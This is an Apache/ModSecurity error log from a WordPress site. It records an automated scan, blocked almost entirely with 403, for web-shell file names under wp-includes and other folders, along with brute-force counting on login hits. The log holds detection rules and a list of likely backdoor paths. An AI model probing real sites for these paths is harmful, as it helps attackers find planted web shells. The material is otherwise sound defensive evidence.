[Fri Apr 24 22:59:06.526362 2026] [proxy_fcgi:error] [pid 17808:tid 17820] [client 173.239.218.161:24083] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:59:09.247001 2026] [:error] [pid 17808:tid 17821] [client 173.239.218.161:24083] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aeuFPearbOEFI8qshvJpXgAAAEs"]
[Fri Apr 24 22:59:15.391629 2026] [proxy_fcgi:error] [pid 17808:tid 17823] [client 173.239.218.175:34085] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:59:16.804333 2026] [:error] [pid 17808:tid 17811] [client 173.239.218.175:34085] [client 173.239.218.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aeuFROarbOEFI8qshvJpbgAAAEE"]
[Fri Apr 24 22:59:22.437205 2026] [:error] [pid 17808:tid 17810] [client 173.239.218.175:34085] [client 173.239.218.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aeuFSuarbOEFI8qshvJpeQAAAEA"]
[Fri Apr 24 22:59:24.393654 2026] [:error] [pid 4177:tid 4195] [client 173.239.218.182:50865] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aeuFTH2asKnvdrSe0x5XqwAAAYo"]
[Fri Apr 24 22:59:28.646170 2026] [:error] [pid 17720:tid 17764] [client 43.167.241.46:52684] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeuFUOhlUs6BS3Ng7_Xj1gAAAMo"]
[Fri Apr 24 22:59:29.106007 2026] [:error] [pid 17720:tid 17761] [client 173.239.218.168:63577] [client 173.239.218.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aeuFUehlUs6BS3Ng7_Xj2AAAAMc"]
[Fri Apr 24 22:59:33.373560 2026] [:error] [pid 17721:tid 17788] [client 98.159.37.115:44673] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aeuFVeFXXkLeyDnfk_9ZIwAAAAc"]
[Fri Apr 24 22:59:33.715876 2026] [:error] [pid 17720:tid 17777] [client 194.5.52.23:45603] [client 194.5.52.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aeuFVehlUs6BS3Ng7_Xj3wAAANc"]
[Fri Apr 24 22:59:37.774247 2026] [:error] [pid 14531:tid 14538] [client 173.239.218.173:45293] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aeuFWXfLU2gw-6KR-Gbs_wAAAUU"]
[Fri Apr 24 22:59:40.642539 2026] [proxy_fcgi:error] [pid 4177:tid 4194] [client 173.239.218.183:27403] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:59:40.824111 2026] [:error] [pid 4177:tid 4192] [client 173.239.218.183:27403] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aeuFXH2asKnvdrSe0x5XzAAAAYc"]
[Fri Apr 24 22:59:42.586231 2026] [:error] [pid 4177:tid 4200] [client 98.159.37.136:40225] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "aeuFXn2asKnvdrSe0x5XzwAAAY8"]
[Fri Apr 24 22:59:44.434954 2026] [:error] [pid 17719:tid 17727] [client 216.24.210.57:47175] [client 216.24.210.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aeuFYMTZ9gzEyL1BkPrDGQAAAIA"]
[Fri Apr 24 22:59:45.349941 2026] [:error] [pid 17808:tid 17820] [client 98.159.37.127:40623] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aeuFYearbOEFI8qshvJpqAAAAEo"]
[Fri Apr 24 22:59:45.721750 2026] [:error] [pid 4177:tid 4195] [client 98.159.37.115:36171] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aeuFYX2asKnvdrSe0x5X0AAAAYo"]
[Fri Apr 24 22:59:46.502845 2026] [:error] [pid 17721:tid 17787] [client 98.159.37.127:37745] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aeuFYuFXXkLeyDnfk_9ZJgAAAAY"]
[Fri Apr 24 22:59:47.241588 2026] [:error] [pid 4177:tid 4202] [client 173.239.218.174:39129] [client 173.239.218.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aeuFY32asKnvdrSe0x5X0gAAAZE"]
[Fri Apr 24 22:59:50.713061 2026] [:error] [pid 14531:tid 14535] [client 98.159.37.118:60483] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aeuFZnfLU2gw-6KR-GbtCwAAAUI"]
[Fri Apr 24 22:59:51.291555 2026] [:error] [pid 17808:tid 17834] [client 98.159.37.129:61395] [client 98.159.37.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aeuFZ-arbOEFI8qshvJptwAAAFg"]
[Fri Apr 24 22:59:51.817612 2026] [:error] [pid 14531:tid 14545] [client 98.159.37.126:23099] [client 98.159.37.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aeuFZ3fLU2gw-6KR-GbtDAAAAUw"]
[Fri Apr 24 22:59:52.533072 2026] [:error] [pid 17720:tid 17763] [client 173.239.218.165:60111] [client 173.239.218.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aeuFaOhlUs6BS3Ng7_Xj_QAAAMk"]
[Fri Apr 24 22:59:53.379307 2026] [:error] [pid 17720:tid 17767] [client 98.159.37.134:37715] [client 98.159.37.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "aeuFaehlUs6BS3Ng7_Xj_gAAAM0"]
[Fri Apr 24 22:59:54.126987 2026] [proxy_fcgi:error] [pid 14531:tid 14556] [client 173.239.218.159:48831] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:59:56.904952 2026] [:error] [pid 14531:tid 14548] [client 173.239.218.159:48831] [client 173.239.218.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aeuFbHfLU2gw-6KR-GbtFQAAAU8"]
[Fri Apr 24 23:00:02.774911 2026] [:error] [pid 14531:tid 14554] [client 173.239.218.159:48831] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aeuFcnfLU2gw-6KR-GbtJAAAAVU"]
[Fri Apr 24 23:00:22.370926 2026] [:error] [pid 17720:tid 17775] [client 173.239.218.182:59457] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aeuFhuhlUs6BS3Ng7_XkNQAAANU"]
[Fri Apr 24 23:00:23.412959 2026] [:error] [pid 22114:tid 22135] [client 173.239.218.168:61011] [client 173.239.218.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aeuFh4AuWGz3WlMQjocB8AAAARI"]
[Fri Apr 24 23:00:24.511181 2026] [:error] [pid 14531:tid 14547] [client 98.159.37.132:39257] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aeuFiHfLU2gw-6KR-GbtKwAAAU4"]
[Fri Apr 24 23:00:32.269846 2026] [:error] [pid 17808:tid 17819] [client 98.159.37.123:31579] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aeuFkOarbOEFI8qshvJp2gAAAEk"]
[Fri Apr 24 23:00:32.737093 2026] [:error] [pid 22114:tid 22117] [client 173.239.218.162:36819] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aeuFkIAuWGz3WlMQjocB-gAAAQA"]
[Fri Apr 24 23:00:33.199562 2026] [:error] [pid 22114:tid 22141] [client 98.159.37.124:59123] [client 98.159.37.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aeuFkYAuWGz3WlMQjocB_AAAARg"]
[Fri Apr 24 23:00:38.192615 2026] [:error] [pid 17721:tid 17793] [client 98.159.37.136:59533] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aeuFluFXXkLeyDnfk_9ZUQAAAAw"]
[Fri Apr 24 23:00:40.190991 2026] [:error] [pid 17719:tid 17747] [client 173.239.218.175:56247] [client 173.239.218.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aeuFmMTZ9gzEyL1BkPrDTQAAAJQ"]
[Fri Apr 24 23:00:43.414552 2026] [:error] [pid 17808:tid 17829] [client 173.239.218.182:22975] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aeuFm-arbOEFI8qshvJp_QAAAFM"]
[Fri Apr 24 23:00:56.498628 2026] [:error] [pid 17808:tid 17814] [client 98.159.37.132:41353] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aeuFqOarbOEFI8qshvJqMgAAAEQ"]
[Fri Apr 24 23:00:58.653749 2026] [:error] [pid 17720:tid 17770] [client 98.159.37.137:52973] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "aeuFquhlUs6BS3Ng7_XkRwAAANA"]
[Fri Apr 24 23:01:07.597291 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.162:54887] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "aeuFs-arbOEFI8qshvJqPQAAAEg"]
[Fri Apr 24 23:01:11.050164 2026] [:error] [pid 14531:tid 14548] [client 216.24.210.195:30143] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aeuFt3fLU2gw-6KR-GbtTgAAAU8"]
[Fri Apr 24 23:01:16.642035 2026] [:error] [pid 17808:tid 17819] [client 98.159.37.118:53865] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aeuFvOarbOEFI8qshvJqVgAAAEk"]
[Fri Apr 24 23:01:21.480026 2026] [:error] [pid 17720:tid 17773] [client 173.239.218.178:44787] [client 173.239.218.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aeuFwehlUs6BS3Ng7_XkZwAAANM"]
[Fri Apr 24 23:01:24.351307 2026] [:error] [pid 14531:tid 14542] [client 98.159.37.137:58195] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aeuFxHfLU2gw-6KR-GbtaQAAAUk"]
[Fri Apr 24 23:01:24.702564 2026] [:error] [pid 17720:tid 17768] [client 98.159.37.123:39171] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aeuFxOhlUs6BS3Ng7_XkaQAAAM4"]
[Fri Apr 24 23:01:32.473259 2026] [:error] [pid 17720:tid 17757] [client 194.5.52.23:23847] [client 194.5.52.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aeuFzOhlUs6BS3Ng7_XkfwAAAMM"]
[Fri Apr 24 23:01:38.502003 2026] [:error] [pid 14531:tid 14538] [client 98.159.37.120:63975] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aeuF0nfLU2gw-6KR-GbtfQAAAUU"]
[Fri Apr 24 23:01:43.907835 2026] [:error] [pid 17721:tid 17797] [client 173.239.218.167:33069] [client 173.239.218.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aeuF1-FXXkLeyDnfk_9ZkAAAABA"]
[Fri Apr 24 23:01:44.417390 2026] [:error] [pid 17721:tid 17784] [client 98.159.37.115:20693] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aeuF2OFXXkLeyDnfk_9ZkgAAAAM"]
[Fri Apr 24 23:01:46.216054 2026] [:error] [pid 17721:tid 17787] [client 173.239.218.162:35677] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aeuF2uFXXkLeyDnfk_9ZoQAAAAY"]
[Fri Apr 24 23:01:49.131336 2026] [:error] [pid 17720:tid 17759] [client 98.159.37.131:38523] [client 98.159.37.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "aeuF3ehlUs6BS3Ng7_XkzQAAAMU"]
[Fri Apr 24 23:01:49.483780 2026] [:error] [pid 22114:tid 22129] [client 216.24.210.56:53369] [client 216.24.210.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aeuF3YAuWGz3WlMQjocCJwAAAQw"]
[Fri Apr 24 23:01:56.914468 2026] [:error] [pid 17721:tid 17791] [client 173.239.218.183:55293] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "aeuF5OFXXkLeyDnfk_9ZtAAAAAo"]
[Fri Apr 24 23:02:00.409862 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.180:56937] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "aeuF6OarbOEFI8qshvJqrwAAAEg"]
[Fri Apr 24 23:02:00.959677 2026] [:error] [pid 14531:tid 14539] [client 173.239.218.158:20975] [client 173.239.218.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "aeuF6HfLU2gw-6KR-GbtiwAAAUY"]
